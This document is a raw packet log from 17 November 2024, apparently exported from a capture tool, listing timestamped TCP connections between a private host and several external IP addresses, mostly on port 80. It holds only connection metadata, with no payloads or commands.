Nov 17, 2024 12:35:40.065455914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065469980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065490007 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065510988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065547943 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065556049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065560102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065593958 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065607071 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065609932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065624952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065640926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065666914 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065685034 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065711021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065752983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065771103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065785885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065814018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065825939 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065865993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065881014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065890074 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065901995 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065902948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065923929 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065942049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066004992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066020012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066032887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066049099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066062927 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066071987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066073895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066112041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066127062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066152096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066160917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066163063 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066175938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066215038 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066282034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066297054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066310883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066325903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066334009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066340923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066351891 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066380024 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066431046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066443920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066466093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066478014 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066481113 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066502094 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066524982 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066564083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066581011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066612959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066634893 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066694975 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066709042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066723108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066737890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066751003 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066751957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066766977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066787004 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066790104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066792965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066812992 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066836119 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.066979885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.066996098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067009926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067022085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067025900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067045927 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067068100 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067172050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067187071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067202091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067218065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067224026 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067231894 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067246914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067246914 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067265034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067276955 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067296982 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067327023 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067344904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067363024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067389965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067400932 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067425966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067466021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067492962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067507982 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067529917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067532063 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067538977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067548037 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067569971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067579985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067682028 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067697048 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067712069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067722082 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067727089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067740917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067742109 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067753077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067754030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067770004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067775011 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067786932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067801952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067807913 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067816973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.067828894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.067857981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068028927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068042994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068058014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068074942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068083048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068089962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068099976 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068104029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068120956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068126917 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068136930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068151951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068152905 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068181992 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068206072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068403006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068411112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068420887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068423033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068429947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068438053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068445921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068445921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068454981 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068465948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068473101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068480015 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068480968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068485022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068491936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068500042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068500042 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068507910 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068517923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.068531990 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068545103 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.068564892 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.105259895 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.105680943 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.105710983 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.105766058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.105772018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.105787039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.105792999 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.105813980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.105834007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.105853081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.105885029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.105906963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.105906963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.105928898 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.106724977 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.106736898 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.107271910 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.107276917 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.130316973 CET	443	49911	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.130951881 CET	49911	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.130975962 CET	443	49911	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.132014990 CET	49911	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.132023096 CET	443	49911	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.133158922 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.134053946 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.134078026 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.135515928 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.135521889 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.136780977 CET	443	49910	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.139645100 CET	49910	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.139659882 CET	443	49910	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.147659063 CET	49910	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.147665024 CET	443	49910	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.152570009 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.157663107 CET	443	49905	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.162132025 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.162152052 CET	443	49905	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.163214922 CET	443	49905	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.163280010 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.164875984 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.164936066 CET	443	49905	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.165393114 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.165401936 CET	443	49905	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.165458918 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.165498018 CET	443	49905	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.165986061 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.166008949 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.166569948 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.166575909 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.180042028 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180095911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180109978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180125952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180150986 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.180211067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.180347919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180373907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180387974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180413961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.180430889 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.180463076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180478096 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180495977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180516005 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.180525064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180552006 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.180566072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180578947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180588007 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.180603981 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180608034 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.180615902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.180634022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.180660009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.183057070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183093071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183105946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183111906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.183128119 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.183151007 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.183173895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183187962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183206081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183207989 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.183222055 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183224916 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.183248997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.183260918 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.183300972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183324099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183360100 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.183873892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183888912 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183904886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183924913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183933973 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.183938980 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183955908 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.183959961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.183974981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184009075 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184084892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184098959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184113979 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184134960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184159994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184396982 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184412003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184427977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184442997 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184446096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184459925 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184475899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184489965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184497118 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184497118 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184525013 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184546947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184561968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184596062 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184602976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184617996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184633017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184637070 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184649944 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184662104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184667110 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184676886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184680939 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184693098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184705973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184710979 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184731960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184755087 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184861898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184875011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184887886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184907913 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184917927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184932947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.184950113 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184967041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.184982061 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185009003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185022116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185034990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185050964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185055971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185087919 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185153961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185168982 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185184002 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185200930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185205936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185216904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185233116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185239077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185247898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185261965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185273886 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185316086 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185343027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185355902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185369968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185373068 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185410023 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185414076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185430050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185444117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185450077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185467958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185477972 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185482979 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185534954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185645103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185659885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185678005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185693026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185697079 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185712099 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185750961 CET	49778	80	192.168.2.5	185.215.113.206
